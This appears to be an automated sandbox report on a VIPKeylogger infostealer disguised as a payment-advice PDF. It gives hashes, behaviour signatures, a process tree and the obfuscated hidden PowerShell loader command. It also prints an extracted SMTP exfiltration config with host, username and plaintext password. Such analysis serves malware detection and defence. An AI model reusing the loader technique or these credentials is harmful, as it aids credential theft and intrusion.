Analysis
-
max time kernel
146s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
02-10-2024 13:29
Static task
static1
Behavioral task
behavioral1
Sample
Settlement_Payment_Advise_pdf.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Settlement_Payment_Advise_pdf.exe
Resource
win10v2004-20240802-en
General
-
Target
Settlement_Payment_Advise_pdf.exe
-
Size
815KB
-
MD5
f301fd124e4a1e98a0940a6897174c9d
-
SHA1
b7524db5c28cf5174272ed230c620c6b1120b04d
-
SHA256
d7b641d0151a05ea88a81ce63ba1f8dec700c584203b3978daa4e143af7bfac4
-
SHA512
8228ed551aa5d9f86c417cdbd19c1a3facb2bd545367c1db5b07b7048acdba6ed8b664ea70f7686e127a457f1c66ff7f188a2f0c1ae45e45e1033d6c9da03566
-
SSDEEP
24576:PVTcsrgw74/EeWZAULhyeT7W2Gnm3Tw2a:PVcOgDslBVS2Gnm3THa
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
mail.terrazza.hr - Port:
587 - Username:
[email protected] - Password:
Vodenjak123! - Email To:
[email protected]
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
msiexec.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
Processes:
msiexec.exeflow pid process 27 3820 msiexec.exe 29 3820 msiexec.exe 31 3820 msiexec.exe 33 3820 msiexec.exe 35 3820 msiexec.exe 40 3820 msiexec.exe 42 3820 msiexec.exe 46 3820 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 39 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
msiexec.exepid process 3820 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exemsiexec.exepid process 3840 powershell.exe 3820 msiexec.exe -
Drops file in Windows directory 1 IoCs
Processes:
Settlement_Payment_Advise_pdf.exedescription ioc process File opened for modification C:\Windows\Brackishness.Ops Settlement_Payment_Advise_pdf.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
Settlement_Payment_Advise_pdf.exepowershell.exemsiexec.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Settlement_Payment_Advise_pdf.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
powershell.exemsiexec.exepid process 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3840 powershell.exe 3820 msiexec.exe 3820 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 3840 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
powershell.exemsiexec.exedescription pid process Token: SeDebugPrivilege 3840 powershell.exe Token: SeIncreaseQuotaPrivilege 3840 powershell.exe Token: SeSecurityPrivilege 3840 powershell.exe Token: SeTakeOwnershipPrivilege 3840 powershell.exe Token: SeLoadDriverPrivilege 3840 powershell.exe Token: SeSystemProfilePrivilege 3840 powershell.exe Token: SeSystemtimePrivilege 3840 powershell.exe Token: SeProfSingleProcessPrivilege 3840 powershell.exe Token: SeIncBasePriorityPrivilege 3840 powershell.exe Token: SeCreatePagefilePrivilege 3840 powershell.exe Token: SeBackupPrivilege 3840 powershell.exe Token: SeRestorePrivilege 3840 powershell.exe Token: SeShutdownPrivilege 3840 powershell.exe Token: SeDebugPrivilege 3840 powershell.exe Token: SeSystemEnvironmentPrivilege 3840 powershell.exe Token: SeRemoteShutdownPrivilege 3840 powershell.exe Token: SeUndockPrivilege 3840 powershell.exe Token: SeManageVolumePrivilege 3840 powershell.exe Token: 33 3840 powershell.exe Token: 34 3840 powershell.exe Token: 35 3840 powershell.exe Token: 36 3840 powershell.exe Token: SeDebugPrivilege 3820 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
Settlement_Payment_Advise_pdf.exepowershell.exedescription pid process target process PID 1856 wrote to memory of 3840 1856 Settlement_Payment_Advise_pdf.exe powershell.exe PID 1856 wrote to memory of 3840 1856 Settlement_Payment_Advise_pdf.exe powershell.exe PID 1856 wrote to memory of 3840 1856 Settlement_Payment_Advise_pdf.exe powershell.exe PID 3840 wrote to memory of 3820 3840 powershell.exe msiexec.exe PID 3840 wrote to memory of 3820 3840 powershell.exe msiexec.exe PID 3840 wrote to memory of 3820 3840 powershell.exe msiexec.exe PID 3840 wrote to memory of 3820 3840 powershell.exe msiexec.exe -
outlook_office_path 1 IoCs
Processes:
msiexec.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
Processes:
msiexec.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe"C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Tilluk=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Bountihead.Amp';$Accustomedness=$Tilluk.SubString(78627,3);.$Accustomedness($Tilluk)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\syswow64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3820
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
76KB
MD5b3e22fcf654587946cbb858f6587c0d4
SHA16c07411640ad7d6ff1928ff84864b43b84bdcd91
SHA256072cbb8dd2d9776d1f0930cc39d2cca7821c50d9464912a1144e6747d9c20964
SHA512cd5577751bdc4137d9d3bdfbee6dc6590e6f8c7e33a6610889316b57ae8d42ccd6c92d935955e427202dbf58b6f36a40b72d5ca513d317f9c8ef3113b9082021
-
Filesize
348KB
MD5fc1b8508adc7dfc8fab6a4ffa3e10764
SHA1030e2952c376452b60eed4ab6bc891677614b5c3
SHA256da015f66da0983444fea0e2079dc9a7cdd31f5f609832051cbc21648df41dbf0
SHA51257a7009c1636549015c1954083b133adfb97fcae78392b915b1587e56b53895028b42cafb56f33956decec466026d7b638adf2d443a1dac84b082775fa67c3d6